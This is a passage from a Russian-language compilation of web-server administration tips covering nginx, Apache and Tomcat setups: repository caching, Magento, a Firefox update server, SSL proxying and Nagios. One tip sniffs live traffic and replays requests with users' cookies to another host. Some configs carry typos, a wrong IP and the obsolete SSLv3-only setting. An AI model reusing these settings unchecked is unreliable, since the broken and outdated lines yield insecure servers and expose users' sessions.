            server_name                     repocache.local;
    
            location /pub/fedora {
                    autoindex               on;
                    root                    /home/repocache;
                    error_page              404 = @fetch_yandex;
            }
    
            location / {
                    autoindex               on;
                    root                    /home/repocache;
                    error_page              404 = @fetch_yandex;
            }
    
            location @fetch_yandex {
                    internal;
    
                    rewrite  ^/pub(.*)$  /$1  break;
    
                    proxy_pass              http://mirror.yandex.ru;
                    proxy_store             on;
                    proxy_store_access      user:rw  group:rw  all:r;
                    proxy_temp_path         /home/repocache/temp;
    
                    root                    /home/repocache/pub;
            }
       }
    
    создаем каталоги 
    
       mkdir /home/repocache
       mkdir /home/repocache/bin
       mkdir /home/repocache/pub
       mkdir /home/repocache/temp
       chown -R nginx:nginx /home/repocache
    
    в каталог /home/repocache помещаем скрипт clean.sh
    
    
        #!/bin/bash
    
        for f in $@;
        do
            echo $f
            for ff in `repomanage --old $f`;
            do
                rm -f $ff
            done
            rm -f $f/repodata/*
        done
    
    и repocache.sh
    
       #!/bin/bash
    
       find /home/repocache/pub -type d -regex .*/updates/.*/i386 -exec /home/repocache/bin/clean.sh {} +
       find /home/repocache/pub -type d -regex .*/updates/.*/x86_64 -exec /home/repocache/bin/clean.sh {} +
    
       rm -f /home/repocache/temp/*
    
    
    
    
    
    
    
    
    
    
    
       #!/bin/bash
    
       for f in `repomanage --old $1`;
       do
           echo $f
           rm -f $f
       done
    
       rm -f $1repodata/*
    
    и repocache.sh
    
       #!/bin/bash
    
       path_to_repo_dir="/home/repocache/pub/"
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/linux/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/linux/updates/11/x86_64/
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/free/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/free/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/nonfree/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/nonfree/fedora/updates/11/x86_64/
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/fixes/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/fixes/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/free/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/free/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/nonfree/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/nonfree/fedora/updates/11/x86_64/
    
       rm -f /home/repocache/temp/*
    
    Запускаем nginx
    
       service nginx start
    
    Добавляем в crontab запуск скрипта /home/repocache/bin/repocache.sh раз в сутки (ночью)
    Перенастраиваем локальные компы и на новый репозиторий и пробуем обновиться
    Удачи.
    
     
    ----* Конфигурация Nginx + PHP + FastCGI для Magento (доп. ссылка 1)   Автор: alexweb  [комментарии]
     
    Не так давно пришлось оптимизировать сервер у заказчика. Нужно было заменить Apache на Nginx. 
    На официальном форуме можно найти примеры конфигурации, например
    http://www.magentocommerce.com/boards/viewthread/7931/ ,
    однако использование rewrite для таких случаев всячески порицается разработчиком сервера.
    
    Замечания
    
    * Процесс сборки nginx и php описан на офсайтах
    * Предполагается, что php с поддержкой fast-cgi настроен и работает на
    127.0.0.1:8888, а nginx на 127.0.0.1:80
    * Папка, в которой лежат файлы Magento: /home/alex/www/server.com/
    * Так как Nginx работает с php напрямую, а не через связку с Apache, следует
    обратить особое внимание
      на директивы для php, которые идут в .htaccess из стандартной поставки magento. Nginx 
      не обрабатывает директивы из .htaccess и поэтому их нужно перенести в php.ini. 
      У меня, например, перестала работать загрузка картинок к товарам, пока не добавил suhosin.session.cryptua off в php.ini.
    * Предполагается, что в Magento настроены ЧПУ
    
    Ниже привожу свою конфигурацию. Дополнения и комментарии всячески приветствуются.
    
        server {
        listen 127.0.0.1:80;
        server_name server.com;
        #Включаем сжатие
        gzip on;
        #gzip_comp_level 9;
        gzip_min_length 1000;
        gzip_proxied any;
        gzip_types text/plain application/xml text/html text/css text/js application/x-javascript;
        # Важно!!!! Ниже должна быть указана папка в которой лежит код Magento
        root /home/alex/www/server.com/;
    
        location / {
        index index.php;
        error_page 404 = @magento;
        }
        # Фикс для js
        location /js/ {
        index index.php;
        error_page 404 = @magento_js;
        }
        # Фикс для случая, когда используется расширение FOOMAN_Speedster.
        location ^~ /minify/ {
        rewrite ^/minify/([^/]+)(/.*.(js|css))$ /lib/minify/m.php?f=$2&d=$1 last;
        break;
        }
    
        location @magento {
        # Если fastcgi_params лежит по другому пути то заменить на свой
        include /etc/nginx/fastcgi_params; #Важно !!!!
        fastcgi_pass 127.0.0.1:8888;
        fastcgi_param SCRIPT_FILENAME $document_root/index.php; #Важно !!!
        }
    
        location @magento_js {
        include /etc/nginx/fastcgi_params;
        fastcgi_pass 127.0.0.1:8888;
        fastcgi_param SCRIPT_FILENAME $document_root/js/index.php;
        }
        location ~ .php$ {
        index index.php;
        include /etc/nginx/fastcgi_params;
        fastcgi_pass 127.0.0.12:8888;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        }
    
        location ~* \.(jpg|gif|png|css|js|jpeg|ico)$ {
        if (-f $request_filename) {
        access_log off;
        expires 7d;
        }
    
        }
    
    После такой настройки плагин YSlow дает сайту уровень B по скорости. Если очень постараться и
     вынести всю статику на отдельный поддомен, то можно еще ускориться. 
    
     
    ----* Создание локального сервера обновлений для Firefox (доп. ссылка 1) (доп. ссылка 2)   Автор: Unghost  [комментарии]
     
    Инструкция, как поднять локальный сервер обновлений для Firefox.
    В наличии имелся сервер с Debian Lenny. На него был поставлен apache2 и libapache2-mod-php5
    
       sudo apt-get install apache2
       sudo apt-get install libapache2-mod-php5
    
    В файле /etc/apache2/sites-available/default директива AllowOverride None была
    изменена на AllowOverride FileInfo
    В каталоге /var/www был создан каталог
    /var/www/update/Firefox/3.0.10/win32/ru/release и туда положены файлы:
    
       root@db-fw:/var/www/update/Firefox/3.0.10/win32/ru/release# ls -la
       -rw-r--r-- 1 root root  2188005 2009-05-28 11:22 firefox-3.0.10-3.0.11.ru.win32.partial.mar
       -rw-r--r-- 1 root root 10189913 2009-05-28 11:25 firefox-3.0.11.ru.win32.complete.mar
       -rw-r--r-- 1 root root       59 2009-05-28 10:12 .htaccess
       -rw-r--r-- 1 root root      658 2009-05-28 11:20 update
       -rw-r--r-- 1 root root      650 2009-05-28 12:12 update.xml
    
    Файлы firefox-3.0.10-3.0.11.ru.win32.partial.mar и firefox-3.0.11.ru.win32.complete.mar 
    были взяты с ftp://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/3.0.11-candidates/build1/
    
    Файлы .htaccess и update были взяты с
    https://developer.mozilla.org/en/Setting_up_an_update_server без изменений.
    
    .htaccess:
    
       <FILES update>
          ForceType application/x-httpd-php
       </FILES>
    
    PHP скрипт update:
    
       <?php
       header("Content-type: text/xml");
    
       $url_array=explode("/",$_SERVER["REQUEST_URI"]);
       $noidea=$url_array[2];
       $product=$url_array[3];
       $version=$url_array[4];
       $build_id=$url_array[5];
       $build_target=$url_array[6];
       $locale=$url_array[7];
       $channel=$url_array[8];
       // filename is totally ignored
       $filename=$url_array[9];
       
       $updatefile = "update.dir/$noidea/$product/$version/$build_id/$build_target/$locale/$channel/$filename";
    
       if (file_exists($updatefile)) {
         $handle = fopen($updatefile, "r");
         $contents = fread($handle, filesize($updatefile));
         echo "$contents";
         fclose($handle);
       } else {
          echo '<?xml version="1.0"?>';
       ?>
       <updates></updates>
       <?
       }
    
       ?>
    
    
    Потом был создан файл update.xml:
    
       <?xml version="1.0"?>
       <updates>
       <update type="minor" version="3.0.11" extensionVersion="3.0.11" buildID="2009042316" 
         detailsURL="http://192.168.0.1/ru/firefox/3.0.11/releasenotes/">
       <patch type="complete" URL="http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/firefox-3.0.11.ru.win32.complete.mar"
         hashFunction="SHA1" hashValue="1a08be9c203da5fb20f632e970e23331bb21b995" size="10189913" />
       <patch type="partial" URL="http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/firefox-3.0.10-3.0.11.ru.win32.partial.mar"
         hashFunction="SHA1" hashValue="67683707609194c20188459da2ecfe9853122de4" size="2188005" />
       </update>
       </updates>
    
    Хэш функции были вычислены с помощью sha1sum.
    
    Потом я открыл русский Firefox 3.0.10 для Windows и создал строковый параметр
    app.update.url.override со значением
    http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/update.xml и проверил
    наличие обновлений.
    Firefox успешно нашёл обновление для 3.0.11 и успешно его применил.
    
     
    ----* Добавление SSL шифрования для не SSL сайта силами nginx (доп. ссылка 1)   [комментарии]
     
    Ниже представлен пример настройки SSL-акселератора, выполненного средствами http-сервера nginx.
    
    Предположим, что нужно проксировать сайт testhost.ru, размещенный на сервере 192.168.1.1.
    Следующий блок конфигурации определяет работу SSL-акселератора:
    
        server {
             listen 192.168.1.1:443;
             server_name testhost.ru;
             access_log logs/ssl.log main;
    
             ssl on;
             ssl_certificate /certs/ssl.crt;
             ssl_certificate_key /keys/ssl.key;
            
             location / {
               proxy_set_header X-Real-IP $remote_addr;
               proxy_set_header X-Forwarded-For $p roxy_add_x_forwarded_for;
               proxy_set_header Host $http_host;
               proxy_set_header X-FORWARDED_PROTO https;
               proxy_redirect false;
               proxy_pass http://main_site;
            }
        }
    
    В http секции конфигурации определяем сервер который будем проксировать:
    
       upstream main_site {
         server 192.168.1.1:8080;
       }
    
    При желании можно ограничить разрешенный тип шифрования:
    
       ssl_ciphers HIGH:!ADH;
       ssl_perfer_server_ciphers on;
       ssl_protocols SSLv3;
    
    
    Также можно  включить gzip сжатие проксируемого трафика, для этого в 
    http секции добавляем:
    
       gzip on;
       gzip_min_length 1100;
       gzip_buffers 4 8k;
       gzip_types text/plain text/html text/css text/js;
    
     
    ----* Настройка SSL, авторизации и редиректа в Apache Tomcat   Автор: Андрей  [комментарии]
     
    Несколько советов пользователям Apache Tomcat:
    
    Поддержка SSL
    -------------
    
    В server.xml раскомментируем listener и добавим опции:
    
       <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
        <Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
            maxThreads="150" scheme="https" secure="true"
            SSLCACertificateFile="${catalina.home}/cert/root.crt"
            SSLCertificateFile="${catalina.home}/cert/client.pem"
            SSLCertificateKeyFile="${catalina.home}/cert/client.pem"
            sslProtocol="TLS" />
    
    Если сертификат самоподписанный, то SSLCACertificateFile можно пропустить.
    Доступ на сервис https://tomcat:8443
    
    Редирект
    --------
    
    Для апача создать tomcat.conf в /etc/httpd/conf.d
    
       <VirtualHost *:80>
          DocumentRoot /var/www/html
          ServerName service.dc-local
          ServerAlias service
          Redirect permanent /        https://tomcat:8443/service
      </VirtualHost>
    
    Авторизация на страницу
    -----------------------
    
    В web.xml приложения добавить:
    
        <!-- Define a Security Constraint on this Application -->
        <security-constraint>
            <web-resource-collection>
                <web-resource-name>Protected Area</web-resource-name>
                    <!-- Define the context-relative URL(s) to be protected -->
                    <url-pattern>/*</url-pattern>
                    <!-- If you list http methods, only those methods are protected -->
            </web-resource-collection>
            <auth-constraint>
                <role-name>role1</role-name>
                <role-name>role2</role-name>
            </auth-constraint>
        </security-constraint>
    
        <!-- Define the Login Configuration for this Application -->
        <login-config>
           <auth-method>BASIC</auth-method>
           <realm-name>BLA BLA BLA</realm-name>
        </login-config>
    
        <!-- Security roles referenced by this web application -->
        <security-role>
            <description>BLA BLA BLA</description>
            <role-name>role1</role-name>
            <role-name>role2</role-name>
        </security-role>
    
    роли должны быть в tomcat-users.xml, либо см. ниже.
    
    Поддержка авторизации по группам из LDAP
    ----------------------------------------
    
    В server.xml добавить:
    
       <Realm className="org.apache.catalina.realm.JNDIRealm" connectionURL="ldap://ldap:389"
           allRolesMode="authOnly" userBase="ou=users,dc=domain,dc=local" userSearch="uid={0}"
           roleBase="ou=group,dc=domain,dc=local" roleName="cn" roleSearch="memberUid={1}"/>
    
    группы будут определены как роли для авторизации.
    
     
    ----* Дублирование HTTP запросов для тестирования сервера (доп. ссылка 1)   Автор: asd  [комментарии]
     
    Иногда требуется симулировать нагрузку на тестовый web-сервер на основе
    запросов поступающих к основному серверу,
    т.е. произвести параллельную отправку запросов на другой сервер 
    или просто повторить какой-то набор запросов на основе данных из лог-файла за
    определенный период времени.
    
    Для сбора информации будем использовать утилиту tcpflow (http://www.circlemud.org/~jelson/software/tcpflow/),
    которая имеется в портах FreeBSD (net/tcpflow) и в составе большинства Linux дистрибутивов.
    
    
    Дублирование POST запросов:
    
       sudo tcpflow -cp -i eth0 dst port 80 | grep param | while read line;  \
       do curl -s -- "http://duplicate.host/ask?"$line; done
    
    Дублирование GET запросов с Cookie:
    
       sudo tcpflow -cpi eth1 dst port 80 | while read line; do 
         if I=`echo $line | grep "GET /url/"`; then 
            REQ=`echo $line | cut -b 50- | sed s@HTTP/1.1@@`; 
         fi;
         if J=`echo $line | grep "Cookie: "`; then 
            COOKIE=$line; 
            curl -s -H "$COOKIE" -- http://server:port$REQ; 
         fi; 
       done
    
     
    ----* Обеспечение работы системы мониторинга Nagios при помощи Nginx (доп. ссылка 1)   Автор: comatoz  [комментарии]
     
    Web-сервер apache наверное самый лучший web-сервер, но при настройке web-интерфейса для nagios 
    можно обойтись и без него, что сейчас и будет описано.
    
    Применительно к FreeBSD:
    
       portinstall /usr/ports/www/nginx
    
    В /etc/rc.conf.local
    
       # nginx
       nginx_enable=YES
    
    nginx не может выполнять php и cgi скрипты. Для этого можно использовать backend серверы.
    
    Схема получается следующая:
                                          mini_httpd
                        ---*.cgi--->  192.168.0.200:1081
                       /
          nginx       /                    lighttpd
    192.168.0.200:80------*.php--->   192.168.0.200:1082
                      \ 
                       \                    Каталог
                        ---*.html-->  /usr/local/www/...
    
    В этой схеме nginx слущает на порту запросы, производит авторизацию, статические файлы отдает сам, 
    cgi-скрипты перенаправляет к запущенному на внутреннем порту 127.0.0.1:1081 
    mini_httpd (/usr/ports/www/mini_httpd), который в свою очередь и выполняет эти скрипты.
    
    Схема может показатся сложной, но в моём случае переход на нее оправдался: 
    опрос nagios производится 1 раз в минуту из Firefox (спец.плагин), и машина с nagios 
    испытывала некоторые трудности с производительностью. После запуска данной схемы 
    нагрузка на машину значительно снизилась.
    
    Если используется pnp4nagios (http://www.pnp4nagios.org/pnp/install) для построения графиков 
    производительности сервисов, то выполнение php-скриптов возможно с помощью запущенного 
    на внутреннем порту 127.0.0.1:1082 lighttpd (/usr/ports/www/lighttpd).
    
    Конфигурационные файлы nginx хранятся по умолчанию в /usr/local/etc/nginx/.
    
    /usr/local/etc/nginx/nginx.conf
    
       user       www www;
       worker_processes  1;
       error_log  /var/log/nginx/error.log;
       pid        /var/run//nginx.pid;
       worker_rlimit_nofile 8192;
    
       events {
          worker_connections  4096;
       }
    
       http {
        include    mime.types;
        include    proxy.conf;
        default_type application/octet-stream;
        log_format   main '$remote_addr - $remote_user [$time_local] $status '
                          '"$request" $body_bytes_sent "$http_referer" '
                          '"$http_user_agent" "$http_x_forwarded_for"';
        access_log   /var/log/nginx/access.log  main;
        sendfile     on;
        tcp_nopush   on;
        server_names_hash_bucket_size 128; # this seems to  be required for some vhosts
    
       ## интранет
      server {
        listen 192.168.0.200:80;
        server_name 192.168.0.200 ns.contora.local;
        access_log /var/log/nginx/access.log;
          include nagios.conf;
          include nagios-pnp.conf;
    
        location / {
            root                    /usr/local/www/apache22/data/;
        }
        include error-pages.conf;
       }
      }
    
    
    /usr/local/etc/nginx/nagios.conf
    
    
       location /nagios/ {
            auth_basic              "Nagios ";
            auth_basic_user_file    /usr/local/www/nagios/.htpasswd;
            alias                   /usr/local/www/nagios/;
       }
    
       location /nagios/cgi-bin/ {
            auth_basic              "Nagios ";
            auth_basic_user_file    /usr/local/www/nagios/.htpasswd;
    
            proxy_pass              http://localhost:1081;
            proxy_redirect          http://localhost:1081/nagios/cgi-bin/ /nagios/cgi-bin/;
    
            set                     $referer        $http_referer;
            proxy_set_header        Referer         $referer;
            proxy_set_header        X-Real-IP       $remote_addr;
            proxy_set_header        Host            localhost:1081;
            proxy_set_header        REQUEST_METHOD  $request_method;
            proxy_set_header        REMOTE_USER     $remote_user;
            proxy_set_header        REMOTE_ADDR     $remote_addr;
            proxy_set_header        SERVER_NAME     localhost;
            proxy_set_header        SERVER_PORT     1081;
            proxy_set_header        HTTP_COOKIE     $http_cookie;
       }
    
    
    /usr/local/etc/nginx/nagios-pnp.conf
    
    
            location ~* /pnp/.*\.php$ {
                root   /usr/local/share/;
                fastcgi_pass   127.0.0.1:1082;
                fastcgi_index  index.php;
                fastcgi_param  SCRIPT_FILENAME  /usr/local/nagios/share/$fastcgi_script_name;
                include        fastcgi_params;
            }
            location ~* /pnp/ {
                    root   /usr/local/nagios/share/;
                    index  index.php index.html index.htm;
            }
    
    
    /usr/local/etc/nginx/error-pages.conf
    
    
            error_page   500 502 503 504  /50x.html;
            location = /50x.html {
             root   /usr/local/www/nginx-dist;
            }
            error_page   401  /401.html;
            location = /401.html {
              root   /usr/local/www/nginx-dist;
            }
            error_page   404  /404.html;
            location = /404.html {
              root   /usr/local/www/nginx-dist;
            }
    
    Ссылки:
    http://sysoev.ru/nginx/
    http://www.lighttpd.net/
    http://www.acme.com/software/mini_httpd/
    http://www.lissyara.su/?id=1532
    
     
    ----* Как в nginx на лету изменить отдаваемый html   Автор: nginx-ru maillist  [обсудить]
     
    Модуль ngx_http_sub_module изменяет в ответе одну заданную строку на другую.
    http://sysoev.ru/nginx/docs/http/ngx_http_sub_module.html
    
    location / {
        sub_filter        </head>
               '</head><script language="javascript" src="$script"></script>';
        sub_filter_once   on;
    }
    
    Модуль ngx_http_addition_module добавляет текст до и после ответа.
    http://sysoev.ru/nginx/docs/http/ngx_http_addition_module.html
    
     
    ----* Отключаем избирательно в Apache чувствительность к регистру в URL   Автор: Андрей  [комментарии]
     
    Проверить загрузку модуля в файле конфигурации httpd.conf:
    
       LoadModule speling_module modules/mod_speling.so
    
    в свойствах домена включаем опцию:
    
       <Directory ..>
           CheckSpelling on
    
    проверено на RedHat EL5, httpd-2.2.3
    
     
    ----* Запуск Apache с разной конфигурацией в Gentoo Linux (доп. ссылка 1)   Автор: Eugeny Fomin  [обсудить]
     
    Суть проблемы заключалось в том, что надо было запустить несколько вебсерверов
    с разной конфигурацией,
    например с разными модулями и на разных ip адресах. Для этого не нужно компилировать 
    и устанавливать несколько апачей, а достаточно запускать один и тот же установленный в системе, 
    со своим конфигурационным файлом.
    
    Решение
    
    Допустим нужно запустить два апача на разных ip, назовем их apache_v1 и apache_v2.
    apache_v1 будет висеть на ip 192.168.0.1,
    apache_v2 на 192.168.0.2
    
    Будем считать, что установлен Apache2.
    
       # cp /etc/conf.d/apache2 /etc/conf.d/apache2_apache_v1
       # cp /etc/conf.d/apache2 /etc/conf.d/apache2_apache_v2
    
       # vi /etc/conf.d/apache2_apache_v1
    
       Добавляем строку:
          CONFIGFILE=/etc/apache2/httpd_apache_v1.conf
    
       # vi /etc/conf.d/apache2_apache_v2
    
       Добавляем строку:
          CONFIGFILE=/etc/apache2/httpd_apache_v2.conf
    
       # cp /etc/apache2/httpd.conf /etc/apache2/httpd_apache_v1.conf
       # cp /etc/apache2/httpd.conf /etc/apache2/httpd_apache_v2.conf
    
    Правим *.conf фалы по вашему усмотрению.
    
       # vi /etc/apache2/httpd_apache_v1.conf
    
       Заменяем директивы на следующие:
          Listen 192.168.0.1:80
          PidFile "/var/run/apache2_apache_v1.pid"
    
       Аналогично и для apache_v2
    
       # vi /etc/apache2/httpd_apache_v2.conf
          Listen 192.168.0.2:80
          PidFile "/var/run/apache2_apache_v2.pid"
    
       # cp /etc/init.d/apache2 /etc/init.d/apache2_apache_v1
       # cp /etc/init.d/apache2 /etc/init.d/apache2_apache_v2
    
    Добавляем их в автозагрузку:
    
       # rc-update -a apache2_apache_v1 default
       # rc-update -a apache2_apache_v2 default
    
    Запускаем:
    
       # /etc/init.d/apache2_apache_v1 start
       # /etc/init.d/apache2_apache_v2 start
    
    Материал предоставлен http://www.inode.ru/
    
     
    ----* Скрипт для автосборки Apache, mod_ssl, php5 и mysql   Автор: April  [комментарии]
     
    Простенький скриптик для автосборки Apache 1.3.x + openssl+mod_ssl + php5+mysql 
    был написан из-за беспробудной лени автора
    
    Для работы требуются (минимум):
       - FreeBSD 4.8 (проверено) и наверное выше
       - FreeBSD 5.1,5.2.1 (проверено) и наверное выше
       - установленные пакеты
         libxml2-2.6.2_1.tbz
         mm-1.3.0.tbz
         python-2.3.2_3.tbz
         unzip-5.50_2.tbz
         zip-2.3_1.tbz
         и связанные с ними пакеты, возможно для удобства еще надо мс
    
    Кроме того необходимо чтобы версия Apache совпадала с версией mod_ssl
    
    #!/bin/sh
    #
    #Apache 1.x.y compile!!!
    #
    #
    ####################################
    # -=April (c)=- ###-=2005=-#
    ####################################
    SRC=`pwd`
    DST=/usr/local/server
    
    ln -s $DST  /server
    HTTPD_SRC=$SRC/apache
    HTTPD_DST=$DST/apache
    
    PHP_SRC=$SRC/php
    PHP_DST=$DST/php
    
    MYSQL_DST=$DST/mysql
    MYSQL_SRC=$SRC/mysql
    
    OPENSSL_SRC=$SRC/openssl
    OPENSSL_DST=$DST/openssl
    
    MODSSL_SRC=$SRC/mod_ssl
    MODSSL_DST=$DST/mod_ssl
    
    #prepare configuring APACHE
    cd $HTTPD_SRC
    ./configure --prefix=$HTTPD_DST
    
    prepare configuring MySQL
    cd $MYSQL_SRC
    ./configure --prefix=$MYSQL_DST
    make
    make install
    
    cd $PHP_SRC
    ./configure --prefix=$PHP_DST --with-apache=$HTTPD_SRC --with-mysql=$MYSQL_DST \
    --enable-force-cgi-redirect --enable-sockets --with-mod_charset --with-xml
    make
    make install
    
    cd $OPENSSL_SRC
    ./Configure 
    make
    make test
    make certificate
    make install
    
    cp $PHP_SRC/.libs/libphp5.a $HTTPD_SRC/src/modules/php5
    cd $MODSSL_SRC
    ./configure --prefix=$HTTPD_DST --with-apache=$HTTPD_SRC --with-ssl=$OPENSSL_SRC \
    --activate-module=src/modules/php5/libphp5.a --enable-module=ssl --server-uid=www --server-gid=www
    
    cd $HTTPD_SRC
    #./configure --prefix=$HTTPD_DST  --activate-module=src/modules/php4/libphp4.a
    --enable-module=ssl \
    #--server-uid=www --server-gid=www 
    
    ./configure --prefix=$HTTPD_DST  --enable-module=rewrite --enable-shared=rewrite  \
    --activate-module=src/modules/php5/libphp5.a  --server-uid=www --server-gid=www 
    make 
    make certificate TYPE=custom
    make install
    
     
    ----* Почему в apache может передаваться битая информация   [обсудить]
     
    Если используется русский apache и после закачки через форму файл приходит битый:
       CharsetRecodeMultipartForms Off
    
    Если пользователь скачивает битый файл (например, rar-архив):
        - Убедитесь, что для типа вашего файла присутствует корректная запись вmime.types;
       - Проверьте, какой тип по умолчанию установлен в httpd.conf, лучше поставить
            DefaultType application/octet-stream
    
    Если PHP скрипт выдает битую информацию:
         См. заметку "В чем может быть причина битых бинарных файлов на выходе PHP"
         http://www.opennet.dev/tips/info/740.shtml
    
     
    ----* Особенности установки Tomcat 5.0 под FreeBSD 5.2   Автор: Александр Елисеенко  [комментарии]
     
    Итак, при построении jdk 1.4.2 из портов необходимо иметь разрешение
    эмуляции Linux в ядре и монтированную файловую систему linprocfs.
    Для этого в файле /etc/rc.conf необходимо указать
        #  linux_enable="YES"
    
    а в файле /etc/fstab
        #  linprocfs  /compat/linux/proc linprocfs rw 0 0
    
    По завершении установки необходимо установить переменную окружения 
    JAVA_HOME, которая указывает на каталог с установленным jdk
    Соответственно, в файле .cshrc необходимо добавить
        #  setenv JAVA_HOME /usr/local/jdk1.4.2
    
    а в файле .profile
        #  export JAVA_HOME=/usr/local/jdk1.4.2
    
    Установка Tomcat 5.0 из портов проблем не вызвала, но запуск программы
    постоянно срывался. Изучение логов показало, что Tomcat пытался 
    работать с протоколом IPv6, который не был установлен в моей системе. 
    
    В соответствии с рекомендацией, данной в логах, делаем запрет на IPv6
        #  sysctl net.inet6.ip6.v6only=0
    
    теперь все работает.
    
    Как вариант, можно внести соответствующие изменения в catalina.sh
    и сделать запуск java с ключем -Djava.net.preferIPv4Stack=true,
    но через sysctl мне показалось проще.
    
     
    ----* Генерация сертификатов для mod_ssl (доп. ссылка 1)   Автор: Александр Елисеенко  [комментарии]
     
    В состав дистрибутива openssl входят скрипты CA.sh и CA.pl (/usr/local/openssl/misc)
    создаем корневой сертификат
    	./CA.sh -newca
    генерируем личный ключ и сертификационный запрос сервера
    	./CA.sh -newreq
    и подписываем его своим корневым сертификатом.
    	./CA.sh -sign
    переписываем ключ и сертификат сервера в служебный каталог Apache
    	cp newreq.pem   /usr/local/etc/apache/sslkey/server.key
    	cp newcert.pem  /usr/local/etc/apache/ssl.crt/server.crt
    Файл корневого сертификата ./demoCA/cacert.pem необходимо 
    распространить по клиентским компьютерам.
    
     
    ----* Почему при использовании mod_bandwidth перестает работать метод POST   Автор: Roman Skopenko  [обсудить]
     
    mod_bandwidth должен быть размещен вначале списка AddModule/LoadModule, т.е. до остальных модулей.
    
    Если mod_bandwidth врезается в httpd, то при сборке нужно:
      ./configure --add-module=mod_bandwidth.c --permute-module=BEGIN:bandwidth
    
     
    ----* Как запретить русскому apache перекодировать страницы по Accept-Charset   [обсудить]
     
    По умолчанию русский apache всегда выдает "Vary: accept-charset" и в случае 
    получения от пользователя заголовка Accept-Charset перекодирует в указанную в нем кодировку.
    Решается проблема добавлением директивы:
       CharsetDisableAcceptCharset On
    
     
    ----* Почему при скачивании по HTTP бинарного файла он скачивается битым.   [комментарии]
     
    Для файлов неизвестного типа (например, .rar) используется MIME тип определеный через DefaultType, 
    как правило это text/plain, который может быть перекодирован russian-apache.
    Существует два решения проблемы:
      1. DefaultType application/octet-stream в httpd.conf
      2. Явно определить MIME тип вашего файла в mime.types
    
     
    ----* Редирект незакрытых директорий на имя текущего алиаса виртуального хоста, а не на основной домен.   Автор: uldus  [обсудить]
     
    > Как сделать чтобы автоматом перебрасывало http://host1.test.ru/dir на
    > http://host1.test.ru/dir/, а не на http://www.test.ru/dir/
    UseCanonicalName Off
    
     
    ----* Почему suexec может не работать при запуске Apache в режиме chroot. (доп. ссылка 1)   [обсудить]
     
    1. В chroot окружении обязательно должен быть /etc/passwd с пользователями для
    которых используется suexec.
    2. Помещена ли в bin директорию программа suexec ?
    3. Установлен ли suid root флаг для программы suexec ? (при копировании suid флаг исчезает).
    4. Все ли динамические библиотеки присутствуют:
       chroot /hst /usr/local/apache/bin/ldd /usr/local/apache/bin/httpd
       chroot /hst /usr/local/apache/bin/ldd /usr/local/apache/bin/suexec
        предварительно положив ldd в /hst/usr/local/apache/bin/
    
     
    ----* Как организовать показ мини-иконок favicon.ico на своем сайте.   [комментарии]
     
    1. Добавляем в mime.types в конфигурации Apache строку:
       image/x-icon ico
       (Если не добавить, при использовании Russian Apache иконка
       отображаться не будет !!)
    2. Помещаем на html страницу код:
       <link rel="SHORTCUT ICON" href="/favicon.ico"> 
    3. Создаем иконку 16x16 в любом графическом редакторе в формате PNG.
    4. Выкачиваем конвертер ftp://ftp.kernel.org/pub/software/graphics/pngtoico/ и
    преобразуем png в ico:
       pngtoico favicon.png > favicon.ico
    5. Копируем favicon.ico в корень сайта.
    
     
    ----* Как прописать русский charset в английском Apache   [обсудить]
     
    AddDefaultCharset koi8-r
    
     
    ----* Как назначить cgi-скрипт как парсер файлов в прозрачном режиме   [обсудить]
     
    Напрмер, нужно чтобы все html файлы выдавались при  их запросе после прохождения через 
    скрипт-фильтр parser.cgi
    В .htaccess:
    AddType parsed-html .html
    Action parsed-html /cgi-bin/parser.cgi
    
     
    ----* Как изменить expire дату для определенного типа файлов   [обсудить]
     
    В .htaccess пишем:
    ExpiresActive On
    ExpiresByType image/png "access plus 1 month"
    ExpiresByType image/gif "access plus 1 month"
    ExpiresDefault "access plus 1 month"
    
     
    ----* Как посмотреть список текущих активных модулей в Apache   [комментарии]
     
    httpd -l
    
     
    ----* Развёртывание приложений .NET/ASP.NET Core в Ubuntu 20.04 с Nginx (доп. ссылка 1)   Автор: Артём Конкин  [комментарии]
     
    Данное руководство носит образовательный характер, и предназначено для тех -
    кто ни разу не запускал  приложения ASP.Net на сервере. Для больших, сложных и
    серьёзных проектов не годится, так как не учтены все нюансы развёртывания и
    настройки безопасности.
    
    Этапы развертывания приложений на сервере Ubuntu 20.04
    
    
  • Сервер и соединение
  • Установка .net Core + ASP.net Core
  • Сборка приложения
  • Nginx и всё что с ним связано
  • Сервис приложения
